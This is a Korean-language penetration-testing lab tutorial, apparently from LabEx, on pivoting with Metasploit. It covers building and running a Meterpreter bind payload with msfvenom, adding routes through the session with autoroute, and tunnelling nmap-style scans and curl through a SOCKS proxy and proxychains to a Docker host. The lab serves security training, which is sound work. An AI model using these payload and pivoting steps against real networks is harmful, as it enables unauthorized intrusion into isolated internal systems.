Metasploit Autorouting

사이버 보안Beginner
지금 연습하기

소개

측면 이동 (Lateral Movement) 은 공격자가 침해된 시스템을 사용하여 동일한 내부 네트워크에 있는 다른 호스트에 접근하는 모의 해킹의 핵심 단계입니다. 종종 이러한 내부 네트워크는 격리되어 있어 외부에서 직접 접근할 수 없습니다.

여기서 중요한 개념적 도약은 침해가 단순히 첫 번째 호스트에만 국한되지 않는다는 점입니다. 첫 번째 호스트가 중요한 이유는 그 호스트가 다음에 어떤 네트워크, 경로 및 신뢰 관계를 볼 수 있는지에 달려 있기 때문입니다.

이 실습에서는 Metasploit Framework 를 사용하여 측면 이동을 수행하는 방법을 배웁니다. 이중 홈 (dual-homed) 호스트에 초기 거점을 마련하는 것을 시뮬레이션하고, Metasploit 의 Autoroute 기능을 사용하여 Meterpreter 세션을 통해 피벗 (pivot) 하며, 외부 도구가 숨겨진 내부 네트워크와 상호 작용할 수 있도록 SOCKS 프록시를 구성합니다.

내부 서브넷 식별 (arp/ipconfig)

이 단계에서는 침해된 서버에 초기 거점을 마련하는 상황을 시뮬레이션합니다. 이를 위해 로컬 페이로드를 생성 및 실행하고, Metasploit 을 사용하여 연결을 맺어 Meterpreter 세션을 구축합니다. 연결이 완료되면 네트워크 인터페이스를 검사하여 격리된 내부 서브넷을 식별합니다.

먼저 프로젝트 디렉토리에 있는지 확인하고 msfvenom을 사용하여 Linux 실행 파일 페이로드를 생성합니다. 이 페이로드는 대상 머신 (실습 환경에서는 로컬 머신) 에서 리스닝 포트를 엽니다.

cd ~/project
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o payload.bin

현재 실습 환경에서 Metasploit 을 처음 사용하는 경우, msfvenom이 페이로드를 생성하기 전에 초기 설정 프롬프트가 나타날 수 있습니다. 새 데이터베이스를 설정할지 묻는 메시지가 나오면 yes라고 답하고 설정이 완료될 때까지 기다리세요.

다음으로, 페이로드를 실행 가능하게 만들고 백그라운드에서 실행합니다.

chmod +x payload.bin
./payload.bin &

이제 -q 플래그를 사용하여 시작 배너 없이 Metasploit 콘솔을 조용히 시작합니다.

msfconsole -q

Metasploit 콘솔 내에서 방금 실행한 페이로드에 연결하도록 multi-handler 를 구성합니다.

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 127.0.0.1
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit

Meterpreter 세션이 열렸음을 나타내는 출력이 표시되어야 합니다.

[*] Started bind tcp handler against 127.0.0.1:4444
[*] Sending stage (3045380 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:38475 -> 127.0.0.1:4444)

활성 Meterpreter 세션을 통해 이제 침해된 호스트의 네트워크 구성을 탐색할 수 있습니다. ipconfig 명령을 사용하여 모든 네트워크 인터페이스를 나열합니다.

인터페이스와 경로를 열거하는 것은 로컬 권한 열거와 네트워크적으로 동일한 작업입니다. 호스트를 피벗으로 사용하기 전에 호스트가 무엇에 도달할 수 있는지 알아야 합니다.

meterpreter > ipconfig

출력에서 다양한 서브넷을 확인하세요. 이 환경에서는 일반적으로 eth0의 메인 VM 네트워크와 docker0의 172.17.0.0/16과 같은 Docker 브리지 서브넷을 볼 수 있습니다. 이것들이 바로 Meterpreter 가 자동으로 발견하고 피벗할 수 있는 경로입니다. 또한 ARP 캐시를 확인하여 호스트가 주변 장치와 통신했는지 확인할 수 있습니다.

meterpreter > arp

다음 단계에서 라우팅을 구성할 때 이 Meterpreter 세션을 사용할 것이므로 그대로 열어 두세요.

Meterpreter 를 통한 Autoroute 추가

이 단계에서는 활성 Meterpreter 세션을 통해 트래픽을 라우팅하도록 Metasploit 을 구성합니다. 이 실습 환경에서 autoroute 모듈은 침해된 호스트의 라우팅 테이블을 검사하고 발견된 서브넷을 자동으로 추가할 수 있습니다. 이 과정을 피벗팅 (pivoting) 이라고 하며, 이를 통해 침해된 호스트에서 도달 가능한 네트워크를 공격할 수 있습니다.

Autoroute 는 프레임워크가 세션을 인식하게 해주기 때문에 매우 유용합니다. 경로가 존재하면 Metasploit 은 해당 숨겨진 서브넷으로 가는 경로로 침해된 호스트를 자동으로 선택할 수 있습니다.

먼저 현재 Meterpreter 세션을 백그라운드로 전환하여 메인 Metasploit 프롬프트로 돌아갑니다.

meterpreter > background

세션 1 이 백그라운드로 전환되었음을 확인하는 메시지가 표시됩니다. 이제 autoroute 사후 침투 (post-exploitation) 모듈을 로드합니다.

msf6 exploit(multi/handler) > use post/multi/manage/autoroute

트래픽을 라우팅할 세션 ID 를 지정하여 모듈을 구성한 다음 실행합니다. 이 환경에서 모듈은 호스트 라우팅 테이블을 검색하고 발견된 서브넷을 자동으로 추가합니다.

msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > run

호스트 라우팅 테이블에서 하나 이상의 경로가 추가되었음을 나타내는 출력이 표시되어야 합니다. 이 환경에서의 일반적인 결과는 다음과 같습니다.

[*] Running module against 127.0.0.1
[*] Searching for subnets to autoroute.
[+] Route added to subnet 172.16.50.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 172.17.0.0/255.255.0.0 from host's routing table.
[*] Post module execution completed

경로가 Metasploit 내에 올바르게 등록되었는지 확인하려면 활성 라우팅 테이블을 출력할 수 있습니다.

msf6 post(multi/manage/autoroute) > route print

출력에는 세션 1 에 매핑된 서브넷이 표시됩니다. 해당 범위 내의 IP 주소를 대상으로 실행되는 모든 Metasploit 모듈은 이제 침해된 호스트를 통해 자동으로 터널링됩니다.

Metasploit 에서 SOCKS 프록시 구성

autoroute 기능은 Metasploit 의 내장 모듈에는 훌륭하지만, 외부 명령줄 도구 (curl 또는 nmap 등) 의 트래픽은 자동으로 라우팅하지 않습니다. 이를 달성하려면 Metasploit 내에 SOCKS 프록시 서버를 설정해야 합니다.

이 단계에서는 SOCKS 프록시를 시작하고 이를 사용하도록 proxychains 도구를 구성합니다.

여전히 Metasploit 콘솔 내에서 SOCKS 프록시 보조 모듈을 로드합니다.

msf6 post(multi/manage/autoroute) > use auxiliary/server/socks_proxy

프록시가 로컬 루프백 주소 (127.0.0.1) 의 1080 포트에서 리스닝하도록 구성합니다. SOCKS 버전은 4a를 사용합니다.

msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > set VERSION 4a

-j 플래그를 사용하여 프록시 서버를 백그라운드 작업으로 실행합니다.

msf6 auxiliary(server/socks_proxy) > run -j

SOCKS 프록시가 백그라운드에서 실행 중임을 확인하는 메시지가 표시됩니다.

[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server

Metasploit 콘솔을 계속 실행해 두세요. LabEx 환경에서 새 터미널 탭을 열어 proxychains를 구성합니다.

새 터미널에서 sudo 권한으로 nano 텍스트 편집기를 사용하여 proxychains 구성 파일을 엽니다.

sudo nano /etc/proxychains4.conf

파일의 맨 아래로 스크롤합니다. [ProxyList] 섹션이 있습니다. 기본적으로 socks4 127.0.0.1 9050과 같은 항목이 있을 수 있습니다. 이 줄을 수정하거나 (또는 새 줄을 추가하여) Metasploit 에서 구성한 포트와 일치시킵니다.

socks4  127.0.0.1 1080

Ctrl+O를 눌러 파일을 저장하고, Enter를 눌러 확인한 다음, Ctrl+X를 눌러 nano 를 종료합니다.

피벗을 통한 내부 네트워크 스캔

마지막 단계에서는 Metasploit autoroute 와 SOCKS 프록시를 모두 활용하여 Docker 브리지 네트워크와 상호 작용합니다. Docker 는 컨테이너가 시작될 때마다 약간 다른 IP 주소를 할당할 수 있으므로, 실습 설정에서는 실제 대상 IP 를 ~/project/internal_target_ip.txt에 저장해 두었습니다.

두 번째 터미널에서 언제든지 다음 명령으로 대상 IP 를 확인할 수 있습니다.

cat ~/project/internal_target_ip.txt

먼저 내장 Metasploit 모듈을 사용하여 대상을 스캔해 보겠습니다. Metasploit 이 실행 중인 첫 번째 터미널 탭으로 돌아갑니다.

TCP 포트 스캐너 모듈을 로드하고 내부 대상의 80 번 포트를 스캔하도록 구성합니다.

msf6 auxiliary(server/socks_proxy) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS <target-ip-from-file>
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 80
msf6 auxiliary(scanner/portscan/tcp) > run

2 단계에서 autoroute 를 구성했기 때문에 Metasploit 은 이 스캔을 세션 1 을 통해 보내야 함을 알고 있습니다. 80 번 포트가 열려 있음을 나타내는 출력이 표시되어야 합니다.

[+] 172.17.0.2:           - 172.17.0.2:80 - TCP OPEN
[*] 172.17.0.2:           - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

이제 SOCKS 프록시를 테스트해 보겠습니다. 두 번째 터미널 탭으로 다시 전환합니다.

curl 명령을 사용하여 내부 대상에서 웹 페이지를 가져옵니다. 명령 앞에 proxychains를 추가하면 트래픽이 SOCKS 프록시를 통과하도록 강제됩니다 (이 프록시는 Metasploit 을 거쳐 최종적으로 Meterpreter 세션을 통해 라우팅됩니다).

proxychains curl -s http://$(cat ~/project/internal_target_ip.txt) | grep title

proxychains 연결 로그와 함께 내부 대상에서 호스팅되는 기본 Nginx 웹 페이지의 HTML 제목이 표시되어야 합니다.

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.17.0.2:80  ...  OK
<title>Welcome to nginx!</title>

축하합니다! 침해된 호스트를 통해 피벗하여 내부 Metasploit 모듈과 외부 도구를 모두 사용하여 격리된 내부 네트워크와 성공적으로 상호 작용했습니다.

요약

이 실습에서는 Metasploit Framework 의 강력한 측면 이동 기능을 살펴보았습니다. 페이로드를 생성하고 Meterpreter 세션을 구축하여 침해된 호스트를 시뮬레이션하는 것으로 시작했습니다. 그런 다음 격리된 내부 서브넷을 식별하고 Metasploit 의 autoroute 모듈을 사용하여 세션을 통해 트래픽을 전달했습니다. 마지막으로 SOCKS 프록시를 구성하고 proxychains를 활용하여 외부 명령줄 도구를 내부 네트워크로 터널링했습니다. 이러한 기술은 모의 해킹 과정에서 복잡한 네트워크 환경을 탐색하는 데 필수적입니다.